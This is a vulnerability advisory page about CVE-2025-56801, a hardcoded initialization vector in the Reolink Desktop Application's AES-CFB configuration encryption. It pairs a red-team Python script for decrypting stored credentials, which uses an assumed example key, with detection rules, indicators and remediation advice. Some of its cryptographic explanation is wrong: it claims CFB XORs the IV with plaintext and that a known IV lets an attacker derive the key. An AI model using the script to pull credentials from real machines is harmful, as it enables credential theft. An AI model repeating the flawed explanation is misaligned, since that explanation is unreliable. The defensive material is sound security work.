CVE-2025-56801
Executive Summary
CVE-2025-56801 identifies a critical security flaw in the Reolink Desktop Application version 8.18.12. The application uses a hardcoded Initialization Vector (IV) within its AES-CFB encryption implementation. This allows any attacker with local access to the application environment to reliably decrypt encrypted configuration data, potentially exposing sensitive credentials and network settings. The vendor disputes the finding, claiming the IV is randomly generated per installation, but the CVE and public analysis confirm the static nature of the IV. This vulnerability is classified as a Credential Disclosure issue under MITRE T1552.001.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) / Adjusted Score: 5.5 (Medium)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Local (AV:L) – Requires physical or remote desktop access to the machine.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – The attacker does not need elevated privileges to access the application’s data directory.
- User Interaction: None (UI:N) – No user action needed beyond the application being installed.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Encrypted configuration data (including passwords) can be fully decrypted.
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
- Threat Level: Medium – Exploitation requires local access but yields high-value credentials.
Deep Dive & Mechanics
The Reolink Desktop Application stores configuration data (e.g., camera credentials, network settings) in an encrypted file. The encryption algorithm is AES-128 in CFB (Cipher Feedback) mode. The vulnerability lies in the Initialization Vector (IV) used for the encryption.
- Hardcoded IV: The IV is a static, 16-byte value embedded in the application binary. This means every installation of version 8.18.12 uses the same IV.
- AES-CFB Mode: In CFB mode, the IV is XORed with the plaintext to produce the ciphertext. If the IV is known and static, an attacker can:
- Locate the encrypted configuration file (e.g.,
config.dator similar). - Extract the ciphertext.
- Use the known IV and a known plaintext (e.g., a default string) to derive the encryption key or directly decrypt the data.
- Locate the encrypted configuration file (e.g.,
- Attack Scenario: An attacker with local access (e.g., via malware, physical access, or remote desktop) can:
- Navigate to the application’s data directory (e.g.,
%APPDATA%\Reolink\). - Copy the encrypted configuration file.
- Use a decryption tool (e.g., a Python script) with the hardcoded IV to decrypt the file.
- Extract camera passwords, network credentials, and other sensitive data.
- Navigate to the application’s data directory (e.g.,
Vulnerable vs. Patched Code
Vulnerable Code (Reolink Desktop 8.18.12):
# Pseudocode of the vulnerable implementation
import os
from Crypto.Cipher import AES
# Hardcoded IV (static across all installations)
IV = b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
def encrypt_config(data):
cipher = AES.new(key, AES.MODE_CFB, iv=IV)
return cipher.encrypt(data)
def decrypt_config(ciphertext):
cipher = AES.new(key, AES.MODE_CFB, iv=IV)
return cipher.decrypt(ciphertext)
Patched Code (Expected Fix):
# Pseudocode of the patched implementation
import os
from Crypto.Cipher import AES
# Randomly generated IV per installation
IV = os.urandom(16)
def encrypt_config(data):
cipher = AES.new(key, AES.MODE_CFB, iv=IV)
# Store the IV alongside the ciphertext
return IV + cipher.encrypt(data)
def decrypt_config(ciphertext):
# Extract the IV from the first 16 bytes
iv = ciphertext[:16]
cipher = AES.new(key, AES.MODE_CFB, iv=iv)
return cipher.decrypt(ciphertext[16:])
Key Difference: The patched version generates a unique IV per installation and stores it with the ciphertext, preventing universal decryption.
Exploitation & Lab Setup
Red Team (Exploitation)
Objective: Decrypt the Reolink configuration file using the hardcoded IV.
Prerequisites:
- Local access to a machine with Reolink Desktop 8.18.12 installed.
- Python 3.x with
pycryptodomelibrary.
Steps:
- Locate the encrypted configuration file (e.g.,
config.datin%APPDATA%\Reolink\). - Extract the ciphertext (assuming the file is raw ciphertext).
- Use the following Python script to decrypt:
#!/usr/bin/env python3
import sys
from Crypto.Cipher import AES
# Hardcoded IV from CVE-2025-56801
IV = b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
def decrypt_file(filepath):
with open(filepath, 'rb') as f:
ciphertext = f.read()
# Attempt decryption with a dummy key (key extraction may be needed)
# In practice, the key is also stored locally or derived from a static value.
# For demonstration, we assume the key is known or extracted separately.
key = b'\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f' # Example key
cipher = AES.new(key, AES.MODE_CFB, iv=IV)
plaintext = cipher.decrypt(ciphertext)
return plaintext
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <encrypted_file>")
sys.exit(1)
result = decrypt_file(sys.argv[1])
print(result.decode('utf-8', errors='ignore'))
Note: The actual key may also be hardcoded or derivable. The script above assumes a known key for demonstration.
Blue Team (Detection & Forensics)
Objective: Detect exploitation attempts and identify compromised systems.
Detection Steps:
- Monitor File Access: Alert on unauthorized access to
%APPDATA%\Reolink\config.dator similar files. - Process Anomalies: Detect processes (e.g., Python, PowerShell) reading the Reolink data directory.
- Network Traffic: Look for outbound connections from the Reolink application to unusual IPs (exfiltration).
- Registry/File Changes: Monitor for modifications to the Reolink configuration file.
Forensic Artifacts:
- Copy of
config.datin temporary directories. - Execution of decryption scripts (e.g.,
decrypt_reolink.py). - Logs of file access events (Event ID 4663 on Windows).
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| File | %APPDATA%\Reolink\config.dat |
Encrypted configuration file |
| File | %APPDATA%\Reolink\*.bak |
Backup configuration files |
| Process | python.exe or python3.exe |
Decryption script execution |
| Network | Outbound to unknown IPs on port 443 | Potential exfiltration |
| Registry | HKCU\Software\Reolink\* |
Application settings |
Detection Engineering
YARA Rule
rule CVE_2025_56801_Reolink_Hardcoded_IV {
meta:
description = "Detects Reolink Desktop Application with hardcoded IV"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-56801"
strings:
$iv = { 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f }
$aes_cfb = "AES" nocase
$config_file = "config.dat" nocase
condition:
$iv and $aes_cfb and $config_file
}
Sigma Rule
title: Reolink Configuration File Access
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects access to Reolink encrypted configuration file
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|endswith: '\Reolink\config.dat'
condition: selection
falsepositives:
- Legitimate Reolink application updates
level: medium
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
msg:"CVE-2025-56801 Reolink Configuration Exfiltration";
flow:to_server,established;
content:"Reolink"; nocase;
content:"config"; nocase;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Reolink Desktop Application to a version where the IV is randomly generated (if available). Check the vendor’s website for patches.
- Restrict Access: Limit local access to machines running the Reolink application. Use principle of least privilege.
- Encrypt Storage: Use full-disk encryption (e.g., BitLocker) to protect configuration files at rest.
- Monitor: Deploy the YARA/Sigma rules to detect exploitation attempts.
Long-Term Fix:
- The vendor must implement a secure key management scheme where the IV is randomly generated per installation and stored alongside the ciphertext (e.g., prepended to the encrypted data).
Workaround:
- If patching is not possible, manually delete the configuration file after each use (not recommended for persistent setups).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.